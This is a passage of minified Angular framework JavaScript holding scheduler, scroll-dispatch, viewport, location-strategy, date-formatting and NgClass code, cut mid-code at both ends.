super.recycleAsyncId(t,e,n);0===t.actions.length&&(cancelAnimationFrame(e),t.scheduled=void 0)}});let a=1;const c=Promise.resolve(),l={};function u(t){return t in l&&(delete l[t],!0)}const h={setImmediate(t){const e=a++;return l[e]=!0,c.then(()=>u(e)&&t()),e},clearImmediate(t){u(t)}};new class extends o.v{flush(t){this.active=!0,this.scheduled=void 0;const{actions:e}=this;let n,i=-1,s=e.length;t=t||e.shift();do{if(n=t.execute(t.state,t.delay))break}while(++i<s&&(t=e.shift()));if(this.active=!1,n){for(;++i<s&&(t=e.shift());)t.unsubscribe();throw n}}}(class extends r.o{constructor(t,e){super(t,e),this.scheduler=t,this.work=e}requestAsyncId(t,e,n=0){return null!==n&&n>0?super.requestAsyncId(t,e,n):(t.actions.push(this),t.scheduled||(t.scheduled=h.setImmediate(t.flush.bind(t,null))))}recycleAsyncId(t,e,n=0){if(null!==n&&n>0||null===n&&this.delay>0)return super.recycleAsyncId(t,e,n);0===t.actions.length&&(h.clearImmediate(e),t.scheduled=void 0)}});var d=n(79441),p=n(81134),f=n(89544),m=n(82516);n(11318),n(64674),n(71003),n(84224),n(83720);var g=n(6352),_=n(9170),v=n(22663),b=(n(1143),n(79902),n(36145)),y=n(54364),w=n(772);n(62604);let x=(()=>{class t{constructor(t,e,n){this._ngZone=t,this._platform=e,this._scrolled=new d.xQ,this._globalSubscription=null,this._scrolledCount=0,this.scrollContainers=new Map,this._document=n}register(t){this.scrollContainers.has(t)||this.scrollContainers.set(t,t.elementScrolled().subscribe(()=>this._scrolled.next(t)))}deregister(t){const e=this.scrollContainers.get(t);e&&(e.unsubscribe(),this.scrollContainers.delete(t))}scrolled(t=20){return this._platform.isBrowser?new f.y(e=>{this._globalSubscription||this._addGlobalListener();const n=t>0?this._scrolled.pipe((0,g.e)(t)).subscribe(e):this._scrolled.subscribe(e);return this._scrolledCount++,()=>{n.unsubscribe(),this._scrolledCount--,this._scrolledCount||this._removeGlobalListener()}}):(0,p.of)()}ngOnDestroy(){this._removeGlobalListener(),this.scrollContainers.forEach((t,e)=>this.deregister(e)),this._scrolled.complete()}ancestorScrolled(t,e){const n=this.getAncestorScrollContainers(t);return this.scrolled(e).pipe((0,_.h)(t=>!t||n.indexOf(t)>-1))}getAncestorScrollContainers(t){const e=[];return this.scrollContainers.forEach((n,i)=>{this._scrollableContainsElement(i,t)&&e.push(i)}),e}_getWindow(){return this._document.defaultView||window}_scrollableContainsElement(t,e){let n=(0,i.fI)(e),s=t.getElementRef().nativeElement;do{if(n==s)return!0}while(n=n.parentElement);return!1}_addGlobalListener(){this._globalSubscription=this._ngZone.runOutsideAngular(()=>{const t=this._getWindow();return(0,m.R)(t.document,"scroll").subscribe(()=>this._scrolled.next())})}_removeGlobalListener(){this._globalSubscription&&(this._globalSubscription.unsubscribe(),this._globalSubscription=null)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(s.R0b),s.LFG(b.t4),s.LFG(y.K0,8))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(s.R0b),s.LFG(b.t4),s.LFG(y.K0,8))},token:t,providedIn:"root"}),t})(),C=(()=>{class t{constructor(t,e,n,i){this.elementRef=t,this.scrollDispatcher=e,this.ngZone=n,this.dir=i,this._destroyed=new d.xQ,this._elementScrolled=new f.y(t=>this.ngZone.runOutsideAngular(()=>(0,m.R)(this.elementRef.nativeElement,"scroll").pipe((0,v.R)(this._destroyed)).subscribe(t)))}ngOnInit(){this.scrollDispatcher.register(this)}ngOnDestroy(){this.scrollDispatcher.deregister(this),this._destroyed.next(),this._destroyed.complete()}elementScrolled(){return this._elementScrolled}getElementRef(){return this.elementRef}scrollTo(t){const e=this.elementRef.nativeElement,n=this.dir&&"rtl"==this.dir.value;null==t.left&&(t.left=n?t.end:t.start),null==t.right&&(t.right=n?t.start:t.end),null!=t.bottom&&(t.top=e.scrollHeight-e.clientHeight-t.bottom),n&&0!=(0,b._i)()?(null!=t.left&&(t.right=e.scrollWidth-e.clientWidth-t.left),2==(0,b._i)()?t.left=t.right:1==(0,b._i)()&&(t.left=t.right?-t.right:t.right)):null!=t.right&&(t.left=e.scrollWidth-e.clientWidth-t.right),this._applyScrollToOptions(t)}_applyScrollToOptions(t){const e=this.elementRef.nativeElement;(0,b.Mq)()?e.scrollTo(t):(null!=t.top&&(e.scrollTop=t.top),null!=t.left&&(e.scrollLeft=t.left))}measureScrollOffset(t){const e="left",n=this.elementRef.nativeElement;if("top"==t)return n.scrollTop;if("bottom"==t)return n.scrollHeight-n.clientHeight-n.scrollTop;const i=this.dir&&"rtl"==this.dir.value;return"start"==t?t=i?"right":e:"end"==t&&(t=i?e:"right"),i&&2==(0,b._i)()?t==e?n.scrollWidth-n.clientWidth-n.scrollLeft:n.scrollLeft:i&&1==(0,b._i)()?t==e?n.scrollLeft+n.scrollWidth-n.clientWidth:-n.scrollLeft:t==e?n.scrollLeft:n.scrollWidth-n.clientWidth-n.scrollLeft}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.Y36(x),s.Y36(s.R0b),s.Y36(w.Is,8))},t.\u0275dir=s.lG2({type:t,selectors:[["","cdk-scrollable",""],["","cdkScrollable",""]]}),t})(),S=(()=>{class t{constructor(t,e,n){this._platform=t,this._change=new d.xQ,this._changeListener=t=>{this._change.next(t)},this._document=n,e.runOutsideAngular(()=>{if(t.isBrowser){const t=this._getWindow();t.addEventListener("resize",this._changeListener),t.addEventListener("orientationchange",this._changeListener)}this.change().subscribe(()=>this._viewportSize=null)})}ngOnDestroy(){if(this._platform.isBrowser){const t=this._getWindow();t.removeEventListener("resize",this._changeListener),t.removeEventListener("orientationchange",this._changeListener)}this._change.complete()}getViewportSize(){this._viewportSize||this._updateViewportSize();const t={width:this._viewportSize.width,height:this._viewportSize.height};return this._platform.isBrowser||(this._viewportSize=null),t}getViewportRect(){const t=this.getViewportScrollPosition(),{width:e,height:n}=this.getViewportSize();return{top:t.top,left:t.left,bottom:t.top+n,right:t.left+e,height:n,width:e}}getViewportScrollPosition(){if(!this._platform.isBrowser)return{top:0,left:0};const t=this._document,e=this._getWindow(),n=t.documentElement,i=n.getBoundingClientRect();return{top:-i.top||t.body.scrollTop||e.scrollY||n.scrollTop||0,left:-i.left||t.body.scrollLeft||e.scrollX||n.scrollLeft||0}}change(t=20){return t>0?this._change.pipe((0,g.e)(t)):this._change}_getWindow(){return this._document.defaultView||window}_updateViewportSize(){const t=this._getWindow();this._viewportSize=this._platform.isBrowser?{width:t.innerWidth,height:t.innerHeight}:{width:0,height:0}}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(b.t4),s.LFG(s.R0b),s.LFG(y.K0,8))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(b.t4),s.LFG(s.R0b),s.LFG(y.K0,8))},token:t,providedIn:"root"}),t})(),E=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({}),t})(),k=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[w.vT,b.ud,E],w.vT,E]}),t})()},20657:function(t,e,n){"use strict";n.d(e,{Eq:function(){return o},Ig:function(){return s},HM:function(){return a},fI:function(){return c},su:function(){return r},du:function(){return l}});var i=n(2316);function s(t){return null!=t&&"false"!=`${t}`}function r(t,e=0){return function(t){return!isNaN(parseFloat(t))&&!isNaN(Number(t))}(t)?Number(t):e}function o(t){return Array.isArray(t)?t:[t]}function a(t){return null==t?"":"string"==typeof t?t:`${t}px`}function c(t){return t instanceof i.SBq?t.nativeElement:t}function l(t,e=/\s+/){const n=[];if(null!=t){const i=Array.isArray(t)?t:`${t}`.split(e);for(const t of i){const e=`${t}`.trim();e&&n.push(e)}}return n}},54364:function(t,e,n){"use strict";n.d(e,{mr:function(){return y},Ov:function(){return Tt},ez:function(){return It},K0:function(){return c},uU:function(){return At},Do:function(){return x},V_:function(){return h},Ye:function(){return C},S$:function(){return v},mk:function(){return lt},sg:function(){return ht},O5:function(){return pt},PC:function(){return yt},RF:function(){return _t},n9:function(){return vt},ED:function(){return bt},tP:function(){return wt},b0:function(){return w},lw:function(){return l},EM:function(){return Nt},JF:function(){return Mt},p6:function(){return q},NF:function(){return Rt},PM:function(){return Pt},qS:function(){return at},w_:function(){return a},bD:function(){return Ot},q:function(){return r},Mx:function(){return ct},HT:function(){return o}});var i=n(2316);let s=null;function r(){return s}function o(t){s||(s=t)}class a{}const c=new i.OlP("DocumentToken");let l=(()=>{class t{historyGo(t){throw new Error("Not implemented")}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=(0,i.Yz7)({factory:u,token:t,providedIn:"platform"}),t})();function u(){return(0,i.LFG)(d)}const h=new i.OlP("Location Initialized");let d=(()=>{class t extends l{constructor(t){super(),this._doc=t,this._init()}_init(){this.location=window.location,this._history=window.history}getBaseHrefFromDOM(){return r().getBaseHref(this._doc)}onPopState(t){const e=r().getGlobalEventTarget(this._doc,"window");return e.addEventListener("popstate",t,!1),()=>e.removeEventListener("popstate",t)}onHashChange(t){const e=r().getGlobalEventTarget(this._doc,"window");return e.addEventListener("hashchange",t,!1),()=>e.removeEventListener("hashchange",t)}get href(){return this.location.href}get protocol(){return this.location.protocol}get hostname(){return this.location.hostname}get port(){return this.location.port}get pathname(){return this.location.pathname}get search(){return this.location.search}get hash(){return this.location.hash}set pathname(t){this.location.pathname=t}pushState(t,e,n){p()?this._history.pushState(t,e,n):this.location.hash=n}replaceState(t,e,n){p()?this._history.replaceState(t,e,n):this.location.hash=n}forward(){this._history.forward()}back(){this._history.back()}historyGo(t=0){this._history.go(t)}getState(){return this._history.state}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(c))},t.\u0275prov=(0,i.Yz7)({factory:f,token:t,providedIn:"platform"}),t})();function p(){return!!window.history.pushState}function f(){return new d((0,i.LFG)(c))}function m(t,e){if(0==t.length)return e;if(0==e.length)return t;let n=0;return t.endsWith("/")&&n++,e.startsWith("/")&&n++,2==n?t+e.substring(1):1==n?t+e:t+"/"+e}function g(t){const e=t.match(/#|\?|$/),n=e&&e.index||t.length;return t.slice(0,n-("/"===t[n-1]?1:0))+t.slice(n)}function _(t){return t&&"?"!==t[0]?"?"+t:t}let v=(()=>{class t{historyGo(t){throw new Error("Not implemented")}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=(0,i.Yz7)({factory:b,token:t,providedIn:"root"}),t})();function b(t){const e=(0,i.LFG)(c).location;return new w((0,i.LFG)(l),e&&e.origin||"")}const y=new i.OlP("appBaseHref");let w=(()=>{class t extends v{constructor(t,e){if(super(),this._platformLocation=t,this._removeListenerFns=[],null==e&&(e=this._platformLocation.getBaseHrefFromDOM()),null==e)throw new Error("No base href set. Please provide a value for the APP_BASE_HREF token or add a base element to the document.");this._baseHref=e}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(t){this._removeListenerFns.push(this._platformLocation.onPopState(t),this._platformLocation.onHashChange(t))}getBaseHref(){return this._baseHref}prepareExternalUrl(t){return m(this._baseHref,t)}path(t=!1){const e=this._platformLocation.pathname+_(this._platformLocation.search),n=this._platformLocation.hash;return n&&t?`${e}${n}`:e}pushState(t,e,n,i){const s=this.prepareExternalUrl(n+_(i));this._platformLocation.pushState(t,e,s)}replaceState(t,e,n,i){const s=this.prepareExternalUrl(n+_(i));this._platformLocation.replaceState(t,e,s)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}historyGo(t=0){var e,n;null===(n=(e=this._platformLocation).historyGo)||void 0===n||n.call(e,t)}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(l),i.LFG(y,8))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t})(),x=(()=>{class t extends v{constructor(t,e){super(),this._platformLocation=t,this._baseHref="",this._removeListenerFns=[],null!=e&&(this._baseHref=e)}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(t){this._removeListenerFns.push(this._platformLocation.onPopState(t),this._platformLocation.onHashChange(t))}getBaseHref(){return this._baseHref}path(t=!1){let e=this._platformLocation.hash;return null==e&&(e="#"),e.length>0?e.substring(1):e}prepareExternalUrl(t){const e=m(this._baseHref,t);return e.length>0?"#"+e:e}pushState(t,e,n,i){let s=this.prepareExternalUrl(n+_(i));0==s.length&&(s=this._platformLocation.pathname),this._platformLocation.pushState(t,e,s)}replaceState(t,e,n,i){let s=this.prepareExternalUrl(n+_(i));0==s.length&&(s=this._platformLocation.pathname),this._platformLocation.replaceState(t,e,s)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}historyGo(t=0){var e,n;null===(n=(e=this._platformLocation).historyGo)||void 0===n||n.call(e,t)}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(l),i.LFG(y,8))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t})(),C=(()=>{class t{constructor(t,e){this._subject=new i.vpe,this._urlChangeListeners=[],this._platformStrategy=t;const n=this._platformStrategy.getBaseHref();this._platformLocation=e,this._baseHref=g(E(n)),this._platformStrategy.onPopState(t=>{this._subject.emit({url:this.path(!0),pop:!0,state:t.state,type:t.type})})}path(t=!1){return this.normalize(this._platformStrategy.path(t))}getState(){return this._platformLocation.getState()}isCurrentPathEqualTo(t,e=""){return this.path()==this.normalize(t+_(e))}normalize(e){return t.stripTrailingSlash(function(t,e){return t&&e.startsWith(t)?e.substring(t.length):e}(this._baseHref,E(e)))}prepareExternalUrl(t){return t&&"/"!==t[0]&&(t="/"+t),this._platformStrategy.prepareExternalUrl(t)}go(t,e="",n=null){this._platformStrategy.pushState(n,"",t,e),this._notifyUrlChangeListeners(this.prepareExternalUrl(t+_(e)),n)}replaceState(t,e="",n=null){this._platformStrategy.replaceState(n,"",t,e),this._notifyUrlChangeListeners(this.prepareExternalUrl(t+_(e)),n)}forward(){this._platformStrategy.forward()}back(){this._platformStrategy.back()}historyGo(t=0){var e,n;null===(n=(e=this._platformStrategy).historyGo)||void 0===n||n.call(e,t)}onUrlChange(t){this._urlChangeListeners.push(t),this._urlChangeSubscription||(this._urlChangeSubscription=this.subscribe(t=>{this._notifyUrlChangeListeners(t.url,t.state)}))}_notifyUrlChangeListeners(t="",e){this._urlChangeListeners.forEach(n=>n(t,e))}subscribe(t,e,n){return this._subject.subscribe({next:t,error:e,complete:n})}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(v),i.LFG(l))},t.normalizeQueryParams=_,t.joinWithSlash=m,t.stripTrailingSlash=g,t.\u0275prov=(0,i.Yz7)({factory:S,token:t,providedIn:"root"}),t})();function S(){return new C((0,i.LFG)(v),(0,i.LFG)(l))}function E(t){return t.replace(/\/index.html$/,"")}var k=(()=>((k=k||{})[k.Zero=0]="Zero",k[k.One=1]="One",k[k.Two=2]="Two",k[k.Few=3]="Few",k[k.Many=4]="Many",k[k.Other=5]="Other",k))(),T=(()=>((T=T||{})[T.Format=0]="Format",T[T.Standalone=1]="Standalone",T))(),A=(()=>((A=A||{})[A.Narrow=0]="Narrow",A[A.Abbreviated=1]="Abbreviated",A[A.Wide=2]="Wide",A[A.Short=3]="Short",A))(),I=(()=>((I=I||{})[I.Short=0]="Short",I[I.Medium=1]="Medium",I[I.Long=2]="Long",I[I.Full=3]="Full",I))(),O=(()=>((O=O||{})[O.Decimal=0]="Decimal",O[O.Group=1]="Group",O[O.List=2]="List",O[O.PercentSign=3]="PercentSign",O[O.PlusSign=4]="PlusSign",O[O.MinusSign=5]="MinusSign",O[O.Exponential=6]="Exponential",O[O.SuperscriptingExponent=7]="SuperscriptingExponent",O[O.PerMille=8]="PerMille",O[O.Infinity=9]="Infinity",O[O.NaN=10]="NaN",O[O.TimeSeparator=11]="TimeSeparator",O[O.CurrencyDecimal=12]="CurrencyDecimal",O[O.CurrencyGroup=13]="CurrencyGroup",O))();function R(t,e){return F((0,i.cg1)(t)[i.wAp.DateFormat],e)}function P(t,e){return F((0,i.cg1)(t)[i.wAp.TimeFormat],e)}function N(t,e){return F((0,i.cg1)(t)[i.wAp.DateTimeFormat],e)}function D(t,e){const n=(0,i.cg1)(t),s=n[i.wAp.NumberSymbols][e];if(void 0===s){if(e===O.CurrencyDecimal)return n[i.wAp.NumberSymbols][O.Decimal];if(e===O.CurrencyGroup)return n[i.wAp.NumberSymbols][O.Group]}return s}const L=i.kL8;function M(t){if(!t[i.wAp.ExtraData])throw new Error(`Missing extra locale data for the locale "${t[i.wAp.LocaleId]}". Use "registerLocaleData" to load new data. See the "I18n guide" on angular.io to know more.`)}function F(t,e){for(let n=e;n>-1;n--)if(void 0!==t[n])return t[n];throw new Error("Locale data API: locale data undefined")}function U(t){const[e,n]=t.split(":");return{hours:+e,minutes:+n}}const B=/^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?::?(\d\d)(?::?(\d\d)(?:\.(\d+))?)?)?(Z|([+-])(\d\d):?(\d\d))?)?$/,j={},H=/((?:[^BEGHLMOSWYZabcdhmswyz']+)|(?:'(?:[^']|'')*')|(?:G{1,5}|y{1,4}|Y{1,4}|M{1,5}|L{1,5}|w{1,2}|W{1}|d{1,2}|E{1,6}|c{1,6}|a{1,5}|b{1,5}|B{1,5}|h{1,2}|H{1,2}|m{1,2}|s{1,2}|S{1,3}|z{1,4}|Z{1,5}|O{1,4}))([\s\S]*)/;var V=(()=>((V=V||{})[V.Short=0]="Short",V[V.ShortGMT=1]="ShortGMT",V[V.Long=2]="Long",V[V.Extended=3]="Extended",V))(),G=(()=>((G=G||{})[G.FullYear=0]="FullYear",G[G.Month=1]="Month",G[G.Date=2]="Date",G[G.Hours=3]="Hours",G[G.Minutes=4]="Minutes",G[G.Seconds=5]="Seconds",G[G.FractionalSeconds=6]="FractionalSeconds",G[G.Day=7]="Day",G))(),Y=(()=>((Y=Y||{})[Y.DayPeriods=0]="DayPeriods",Y[Y.Days=1]="Days",Y[Y.Months=2]="Months",Y[Y.Eras=3]="Eras",Y))();function q(t,e,n,i){let s=function(t){if(st(t))return t;if("number"==typeof t&&!isNaN(t))return new Date(t);if("string"==typeof t){if(t=t.trim(),/^(\d{4}(-\d{1,2}(-\d{1,2})?)?)$/.test(t)){const[e,n=1,i=1]=t.split("-").map(t=>+t);return $(e,n-1,i)}const e=parseFloat(t);if(!isNaN(t-e))return new Date(e);let n;if(n=t.match(B))return function(t){const e=new Date(0);let n=0,i=0;const s=t[8]?e.setUTCFullYear:e.setFullYear,r=t[8]?e.setUTCHours:e.setHours;t[9]&&(n=Number(t[9]+t[10]),i=Number(t[9]+t[11])),s.call(e,Number(t[1]),Number(t[2])-1,Number(t[3]));const o=Number(t[4]||0)-n,a=Number(t[5]||0)-i,c=Number(t[6]||0),l=Math.floor(1e3*parseFloat("0."+(t[7]||0)));return r.call(e,o,a,c,l),e}(n)}const e=new Date(t);if(!st(e))throw new Error(`Unable to convert "${t}" into a date`);return e}(t);e=z(n,e)||e;let r,o=[];for(;e;){if(r=H.exec(e),!r){o.push(e);break}{o=o.concat(r.slice(1));const t=o.pop();if(!t)break;e=t}}let a=s.getTimezoneOffset();i&&(a=it(i,a),s=function(t,e,n){const i=t.getTimezoneOffset();return function(t,e){return(t=new Date(t.getTime())).setMinutes(t.getMinutes()+e),t}(t,-1*(it(e,i)-i))}(s,i));let c="";return o.forEach(t=>{const e=function(t){if(nt[t])return nt[t];let e;switch(t){case"G":case"GG":case"GGG":e=Q(Y.Eras,A.Abbreviated);break;case"GGGG":e=Q(Y.Eras,A.Wide);break;case"GGGGG":e=Q(Y.Eras,A.Narrow);break;case"y":e=J(G.FullYear,1,0,!1,!0);break;case"yy":e=J(G.FullYear,2,0,!0,!0);break;case"yyy":e=J(G.FullYear,3,0,!1,!0);break;case"yyyy":e=J(G.FullYear,4,0,!1,!0);break;case"Y":e=et(1);break;case"YY":e=et(2,!0);break;case"YYY":e=et(3);break;case"YYYY":e=et(4);break;case"M":case"L":e=J(G.Month,1,1);break;case"MM":case"LL":e=J(G.Month,2,1);break;case"MMM":e=Q(Y.Months,A.Abbreviated);break;case"MMMM":e=Q(Y.Months,A.Wide);break;case"MMMMM":e=Q(Y.Months,A.Narrow);break;case"LLL":e=Q(Y.Months,A.Abbreviated,T.Standalone);break;case"LLLL":e=Q(Y.Months,A.Wide,T.Standalone);break;case"LLLLL":e=Q(Y.Months,A.Narrow,T.Standalone);break;case"w":e=tt(1);break;case"ww":e=tt(2);break;case"W":e=tt(1,!0);break;case"d":e=J(G.Date,1);break;case"dd":e=J(G.Date,2);break;case"c":case"cc":e=J(G.Day,1);break;case"ccc":e=Q(Y.Days,A.Abbreviated,T.Standalone);break;case"cccc":e=Q(Y.Days,A.Wide,T.Standalone);break;case"ccccc":e=Q(Y.Days,A.Narrow,T.Standalone);break;case"cccccc":e=Q(Y.Days,A.Short,T.Standalone);break;case"E":case"EE":case"EEE":e=Q(Y.Days,A.Abbreviated);break;case"EEEE":e=Q(Y.Days,A.Wide);break;case"EEEEE":e=Q(Y.Days,A.Narrow);break;case"EEEEEE":e=Q(Y.Days,A.Short);break;case"a":case"aa":case"aaa":e=Q(Y.DayPeriods,A.Abbreviated);break;case"aaaa":e=Q(Y.DayPeriods,A.Wide);break;case"aaaaa":e=Q(Y.DayPeriods,A.Narrow);break;case"b":case"bb":case"bbb":e=Q(Y.DayPeriods,A.Abbreviated,T.Standalone,!0);break;case"bbbb":e=Q(Y.DayPeriods,A.Wide,T.Standalone,!0);break;case"bbbbb":e=Q(Y.DayPeriods,A.Narrow,T.Standalone,!0);break;case"B":case"BB":case"BBB":e=Q(Y.DayPeriods,A.Abbreviated,T.Format,!0);break;case"BBBB":e=Q(Y.DayPeriods,A.Wide,T.Format,!0);break;case"BBBBB":e=Q(Y.DayPeriods,A.Narrow,T.Format,!0);break;case"h":e=J(G.Hours,1,-12);break;case"hh":e=J(G.Hours,2,-12);break;case"H":e=J(G.Hours,1);break;case"HH":e=J(G.Hours,2);break;case"m":e=J(G.Minutes,1);break;case"mm":e=J(G.Minutes,2);break;case"s":e=J(G.Seconds,1);break;case"ss":e=J(G.Seconds,2);break;case"S":e=J(G.FractionalSeconds,1);break;case"SS":e=J(G.FractionalSeconds,2);break;case"SSS":e=J(G.FractionalSeconds,3);break;case"Z":case"ZZ":case"ZZZ":e=K(V.Short);break;case"ZZZZZ":e=K(V.Extended);break;case"O":case"OO":case"OOO":case"z":case"zz":case"zzz":e=K(V.ShortGMT);break;case"OOOO":case"ZZZZ":case"zzzz":e=K(V.Long);break;default:return null}return nt[t]=e,e}(t);c+=e?e(s,n,a):"''"===t?"'":t.replace(/(^'|'$)/g,"").replace(/''/g,"'")}),c}function $(t,e,n){const i=new Date(0);return i.setFullYear(t,e,n),i.setHours(0,0,0),i}function z(t,e){const n=function(t){return(0,i.cg1)(t)[i.wAp.LocaleId]}(t);if(j[n]=j[n]||{},j[n][e])return j[n][e];let s="";switch(e){case"shortDate":s=R(t,I.Short);break;case"mediumDate":s=R(t,I.Medium);break;case"longDate":s=R(t,I.Long);break;case"fullDate":s=R(t,I.Full);break;case"shortTime":s=P(t,I.Short);break;case"mediumTime":s=P(t,I.Medium);break;case"longTime":s=P(t,I.Long);break;case"fullTime":s=P(t,I.Full);break;case"short":const e=z(t,"shortTime"),n=z(t,"shortDate");s=Z(N(t,I.Short),[e,n]);break;case"medium":const i=z(t,"mediumTime"),r=z(t,"mediumDate");s=Z(N(t,I.Medium),[i,r]);break;case"long":const o=z(t,"longTime"),a=z(t,"longDate");s=Z(N(t,I.Long),[o,a]);break;case"full":const c=z(t,"fullTime"),l=z(t,"fullDate");s=Z(N(t,I.Full),[c,l])}return s&&(j[n][e]=s),s}function Z(t,e){return e&&(t=t.replace(/\{([^}]+)}/g,function(t,n){return null!=e&&n in e?e[n]:t})),t}function W(t,e,n="-",i,s){let r="";(t<0||s&&t<=0)&&(s?t=1-t:(t=-t,r=n));let o=String(t);for(;o.length<e;)o="0"+o;return i&&(o=o.substr(o.length-e)),r+o}function J(t,e,n=0,i=!1,s=!1){return function(r,o){let a=function(t,e){switch(t){case G.FullYear:return e.getFullYear();case G.Month:return e.getMonth();case G.Date:return e.getDate();case G.Hours:return e.getHours();case G.Minutes:return e.getMinutes();case G.Seconds:return e.getSeconds();case G.FractionalSeconds:return e.getMilliseconds();case G.Day:return e.getDay();default:throw new Error(`Unknown DateType value "${t}".`)}}(t,r);if((n>0||a>-n)&&(a+=n),t===G.Hours)0===a&&-12===n&&(a=12);else if(t===G.FractionalSeconds)return function(t,e){return W(t,3).substr(0,e)}(a,e);const c=D(o,O.MinusSign);return W(a,e,c,i,s)}}function Q(t,e,n=T.Format,s=!1){return function(r,o){return function(t,e,n,s,r,o){switch(n){case Y.Months:return function(t,e,n){const s=(0,i.cg1)(t),r=F([s[i.wAp.MonthsFormat],s[i.wAp.MonthsStandalone]],e);return F(r,n)}(e,r,s)[t.getMonth()];case Y.Days:return function(t,e,n){const s=(0,i.cg1)(t),r=F([s[i.wAp.DaysFormat],s[i.wAp.DaysStandalone]],e);return F(r,n)}(e,r,s)[t.getDay()];case Y.DayPeriods:const a=t.getHours(),c=t.getMinutes();if(o){const t=function(t){const e=(0,i.cg1)(t);return M(e),(e[i.wAp.ExtraData][2]||[]).map(t=>"string"==typeof t?U(t):[U(t[0]),U(t[1])])}(e),n=function(t,e,n){const s=(0,i.cg1)(t);M(s);const r=F([s[i.wAp.ExtraData][0],s[i.wAp.ExtraData][1]],e)||[];return F(r,n)||[]}(e,r,s),o=t.findIndex(t=>{if(Array.isArray(t)){const[e,n]=t,i=a>=e.hours&&c>=e.minutes,s=a<n.hours||a===n.hours&&c<n.minutes;if(e.hours<n.hours){if(i&&s)return!0}else if(i||s)return!0}else if(t.hours===a&&t.minutes===c)return!0;return!1});if(-1!==o)return n[o]}return function(t,e,n){const s=(0,i.cg1)(t),r=F([s[i.wAp.DayPeriodsFormat],s[i.wAp.DayPeriodsStandalone]],e);return F(r,n)}(e,r,s)[a<12?0:1];case Y.Eras:return function(t,e){return F((0,i.cg1)(t)[i.wAp.Eras],e)}(e,s)[t.getFullYear()<=0?0:1];default:throw new Error(`unexpected translation type ${n}`)}}(r,o,t,e,n,s)}}function K(t){return function(e,n,i){const s=-1*i,r=D(n,O.MinusSign),o=s>0?Math.floor(s/60):Math.ceil(s/60);switch(t){case V.Short:return(s>=0?"+":"")+W(o,2,r)+W(Math.abs(s%60),2,r);case V.ShortGMT:return"GMT"+(s>=0?"+":"")+W(o,1,r);case V.Long:return"GMT"+(s>=0?"+":"")+W(o,2,r)+":"+W(Math.abs(s%60),2,r);case V.Extended:return 0===i?"Z":(s>=0?"+":"")+W(o,2,r)+":"+W(Math.abs(s%60),2,r);default:throw new Error(`Unknown zone width "${t}"`)}}}function X(t){return $(t.getFullYear(),t.getMonth(),t.getDate()+(4-t.getDay()))}function tt(t,e=!1){return function(n,i){let s;if(e){const t=new Date(n.getFullYear(),n.getMonth(),1).getDay()-1,e=n.getDate();s=1+Math.floor((e+t)/7)}else{const t=X(n),e=function(t){const e=$(t,0,1).getDay();return $(t,0,1+(e<=4?4:11)-e)}(t.getFullYear()),i=t.getTime()-e.getTime();s=1+Math.round(i/6048e5)}return W(s,t,D(i,O.MinusSign))}}function et(t,e=!1){return function(n,i){return W(X(n).getFullYear(),t,D(i,O.MinusSign),e)}}const nt={};function it(t,e){t=t.replace(/:/g,"");const n=Date.parse("Jan 01, 1970 00:00:00 "+t)/6e4;return isNaN(n)?e:n}function st(t){return t instanceof Date&&!isNaN(t.valueOf())}class rt{}let ot=(()=>{class t extends rt{constructor(t){super(),this.locale=t}getPluralCategory(t,e){switch(L(e||this.locale)(t)){case k.Zero:return"zero";case k.One:return"one";case k.Two:return"two";case k.Few:return"few";case k.Many:return"many";default:return"other"}}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(i.soG))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t})();function at(t,e,n){return(0,i.dwT)(t,e,n)}function ct(t,e){e=encodeURIComponent(e);for(const n of t.split(";")){const t=n.indexOf("="),[i,s]=-1==t?[n,""]:[n.slice(0,t),n.slice(t+1)];if(i.trim()===e)return decodeURIComponent(s)}return null}let lt=(()=>{class t{constructor(t,e,n,i){this._iterableDiffers=t,this._keyValueDiffers=e,this._ngEl=n,this._renderer=i,this._iterableDiffer=null,this._keyValueDiffer=null,this._initialClasses=[],this._rawClass=null}set klass(t){this._removeClasses(this._initialClasses),this._initialClasses="string"==typeof t?t.split(/\s+/):[],this._applyClasses(this._initialClasses),this._applyClasses(this._rawClass)}set ngClass(t){this._removeClasses(this._rawClass),this._applyClasses(this._initialClasses),this._iterableDiffer=null,this._keyValueDiffer=null,this._rawClass="string"==typeof t?t.split(/\s+/):t,this._rawClass&&((0,i.sIi)(this._rawClass)?this._iterableDiffer=this._iterableDiffers.find(this._rawClass).create():this._keyValueDiffer=this._keyValueDiffers.find(this._rawClass).create())}ngDoCheck(){if(this._iterableDiffer){const t=this._iterableDiffer.diff(this._rawClass);t&&this._applyIterableChanges(t)}else if(this._keyValueDiffer){const t=this._keyValueDiffer.diff(this._rawClass);t&&this._applyKeyValueChanges(t)}}_applyKeyValueChanges(t){t.forEachAddedItem(t=>this._toggleClass(t.key,t.currentValue)),t.forEachChangedItem(t=>this._toggleClass(t.key,t.currentValue)),t.forEachRemovedItem(t=>{t.previousValue&&this._toggleClass(t.key,!1)})}_applyIterableChanges(t){t.forEachAddedItem(t=>{if("string"!=typeof t.item)throw new Error(`NgClass can only toggle CSS classes expressed as strings, got 